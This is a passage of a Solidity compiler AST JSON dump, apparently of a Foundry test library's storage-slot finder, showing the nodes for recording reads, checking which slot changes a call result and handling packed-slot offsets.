FindData storage ref))"}},"id":7847,"indexExpression":{"id":7846,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"4736:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4720:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":7855,"indexExpression":{"arguments":[{"arguments":[{"id":7851,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"4769:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":7852,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"4777:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":7849,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4752:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":7850,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4756:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"4752:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":7853,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4752:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":7848,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"4742:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":7854,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4742:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4720:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"functionReturnParameters":7798,"id":7856,"nodeType":"Return","src":"4713:78:8"}]}},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":7859,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"4811:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7861,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4814:6:8","memberName":"record","nodeType":"MemberAccess","referencedDeclaration":12613,"src":"4811:9:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":7862,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4811:11:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7863,"nodeType":"ExpressionStatement","src":"4811:11:8"},{"assignments":[null,7865],"declarations":[null,{"constant":false,"id":7865,"mutability":"mutable","name":"callResult","nameLocation":"4843:10:8","nodeType":"VariableDeclaration","scope":8089,"src":"4835:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7864,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4835:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7869,"initialValue":{"arguments":[{"id":7867,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4868:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7866,"name":"callTarget","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7552,"src":"4857:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) view returns (bool,bytes32)"}},"id":7868,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4857:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"4832:41:8"},{"assignments":[7874,null],"declarations":[{"constant":false,"id":7874,"mutability":"mutable","name":"reads","nameLocation":"4901:5:8","nodeType":"VariableDeclaration","scope":8089,"src":"4884:22:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":7872,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4884:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":7873,"nodeType":"ArrayTypeName","src":"4884:9:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},null],"id":7882,"initialValue":{"arguments":[{"arguments":[{"id":7879,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"4931:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":7878,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4923:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":7877,"name":"address","nodeType":"ElementaryTypeName","src":"4923:7:8","typeDescriptions":{}}},"id":7880,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4923:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":7875,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"4911:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7876,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4914:8:8","memberName":"accesses","nodeType":"MemberAccess","referencedDeclaration":12506,"src":"4911:11:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$_t_array$_t_bytes32_$dyn_memory_ptr_$_t_array$_t_bytes32_$dyn_memory_ptr_$","typeString":"function (address) external returns (bytes32[] memory,bytes32[] memory)"}},"id":7881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4911:25:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_array$_t_bytes32_$dyn_memory_ptr_$_t_array$_t_bytes32_$dyn_memory_ptr_$","typeString":"tuple(bytes32[] memory,bytes32[] memory)"}},"nodeType":"VariableDeclarationStatement","src":"4883:53:8"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7886,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":7883,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"4951:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":7884,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4957:6:8","memberName":"length","nodeType":"MemberAccess","src":"4951:12:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":7885,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4967:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"4951:17:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":8046,"nodeType":"Block","src":"5075:1333:8","statements":[{"body":{"id":8044,"nodeType":"Block","src":"5132:1266:8","statements":[{"assignments":[7904],"declarations":[{"constant":false,"id":7904,"mutability":"mutable","name":"prev","nameLocation":"5158:4:8","nodeType":"VariableDeclaration","scope":8044,"src":"5150:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7903,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5150:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7912,"initialValue":{"arguments":[{"id":7907,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"5173:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"baseExpression":{"id":7908,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"5178:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":7910,"indexExpression":{"id":7909,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5184:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5178:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7905,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"5165:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7906,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5168:4:8","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"5165:7:8","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":7911,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5165:22:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"5150:37:8"},{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":7918,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7913,"name":"prev","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7904,"src":"5209:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":7916,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5225:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":7915,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5217:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":7914,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5217:7:8","typeDescriptions":{}}},"id":7917,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5217:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"5209:18:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7930,"nodeType":"IfStatement","src":"5205:114:8","trueBody":{"id":7929,"nodeType":"Block","src":"5229:90:8","statements":[{"eventCall":{"arguments":[{"id":7920,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"5277:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"baseExpression":{"id":7923,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"5290:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":7925,"indexExpression":{"id":7924,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5296:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5290:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7922,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5282:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":7921,"name":"uint256","nodeType":"ElementaryTypeName","src":"5282:7:8","typeDescriptions":{}}},"id":7926,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5282:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7919,"name":"WARNING_UninitedSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7443,"src":"5256:20:8","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":7927,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5256:44:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7928,"nodeType":"EmitStatement","src":"5251:49:8"}]}},{"condition":{"id":7937,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"5341:37:8","subExpression":{"arguments":[{"id":7932,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"5363:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"baseExpression":{"id":7933,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"5369:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":7935,"indexExpression":{"id":7934,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5375:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5369:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7931,"name":"checkSlotMutatesCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7630,"src":"5342:20:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$_t_bool_$","typeString":"function (struct StdStorage storage pointer,bytes32) returns (bool)"}},"id":7936,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5342:36:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7940,"nodeType":"IfStatement","src":"5337:92:8","trueBody":{"id":7939,"nodeType":"Block","src":"5380:49:8","statements":[{"id":7938,"nodeType":"Continue","src":"5402:8:8"}]}},{"assignments":[7942,7944],"declarations":[{"constant":false,"id":7942,"mutability":"mutable","name":"offsetLeft","nameLocation":"5456:10:8","nodeType":"VariableDeclaration","scope":8044,"src":"5448:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7941,"name":"uint256","nodeType":"ElementaryTypeName","src":"5448:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7944,"mutability":"mutable","name":"offsetRight","nameLocation":"5476:11:8","nodeType":"VariableDeclaration","scope":8044,"src":"5468:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7943,"name":"uint256","nodeType":"ElementaryTypeName","src":"5468:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7948,"initialValue":{"components":[{"hexValue":"30","id":7945,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5492:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},{"hexValue":"30","id":7946,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5495:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"id":7947,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"5491:6:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_rational_0_by_1_$_t_rational_0_by_1_$","typeString":"tuple(int_const 0,int_const 0)"}},"nodeType":"VariableDeclarationStatement","src":"5447:50:8"},{"condition":{"expression":{"id":7949,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"5520:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7950,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5525:20:8","memberName":"_enable_packed_slots","nodeType":"MemberAccess","referencedDeclaration":7424,"src":"5520:25:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7972,"nodeType":"IfStatement","src":"5516:256:8","trueBody":{"id":7971,"nodeType":"Block","src":"5547:225:8","statements":[{"assignments":[7952],"declarations":[{"constant":false,"id":7952,"mutability":"mutable","name":"found","nameLocation":"5574:5:8","nodeType":"VariableDeclaration","scope":7971,"src":"5569:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7951,"name":"bool","nodeType":"ElementaryTypeName","src":"5569:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":7953,"nodeType":"VariableDeclarationStatement","src":"5569:10:8"},{"expression":{"id":7964,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":7954,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7952,"src":"5602:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":7955,"name":"offsetLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7942,"src":"5609:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":7956,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7944,"src":"5621:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7957,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"5601:32:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$_t_uint256_$","typeString":"tuple(bool,uint256,uint256)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":7959,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"5648:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"baseExpression":{"id":7960,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"5654:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":7962,"indexExpression":{"id":7961,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5660:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5654:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7958,"name":"findOffsets","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7772,"src":"5636:11:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$_t_bool_$_t_uint256_$_t_uint256_$","typeString":"function (struct StdStorage storage pointer,bytes32) returns (bool,uint256,uint256)"}},"id":7963,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5636:27:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$_t_uint256_$","typeString":"tuple(bool,uint256,uint256)"}},"src":"5601:62:8","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7965,"nodeType":"ExpressionStatement","src":"5601:62:8"},{"condition":{"id":7967,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"5689:6:8","subExpression":{"id":7966,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7952,"src":"5690:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7970,"nodeType":"IfStatement","src":"5685:69:8","trueBody":{"id":7969,"nodeType":"Block","src":"5697:57:8","statements":[{"id":7968,"nodeType":"Continue","src":"5723:8:8"}]}}]}},{"assignments":[7974],"declarations":[{"constant":false,"id":7974,"mutability":"mutable","name":"curVal","nameLocation":"5892:6:8","nodeType":"VariableDeclaration","scope":8044,"src":"5884:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7973,"name":"uint256","nodeType":"ElementaryTypeName","src":"5884:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7987,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7986,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7983,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":7977,"name":"prev","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7904,"src":"5910:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7976,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5902:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":7975,"name":"uint256","nodeType":"ElementaryTypeName","src":"5902:7:8","typeDescriptions":{}}},"id":7978,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5902:13:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"&","rightExpression":{"arguments":[{"id":7980,"name":"offsetLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7942,"src":"5935:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":7981,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7944,"src":"5947:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7979,"name":"getMaskByOffsets","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8746,"src":"5918:16:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":7982,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5918:41:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5902:57:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7984,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"5901:59:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">>","rightExpression":{"id":7985,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7944,"src":"5964:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5901:74:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"5884:91:8"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7993,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":7990,"name":"callResult","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7865,"src":"6006:10:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7989,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5998:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":7988,"name":"uint256","nodeType":"ElementaryTypeName","src":"5998:7:8","typeDescriptions":{}}},"id":7991,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5998:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":7992,"name":"curVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7974,"src":"6021:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5998:29:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7996,"nodeType":"IfStatement","src":"5994:84:8","trueBody":{"id":7995,"nodeType":"Block","src":"6029:49:8","statements":[{"id":7994,"nodeType":"Continue","src":"6051:8:8"}]}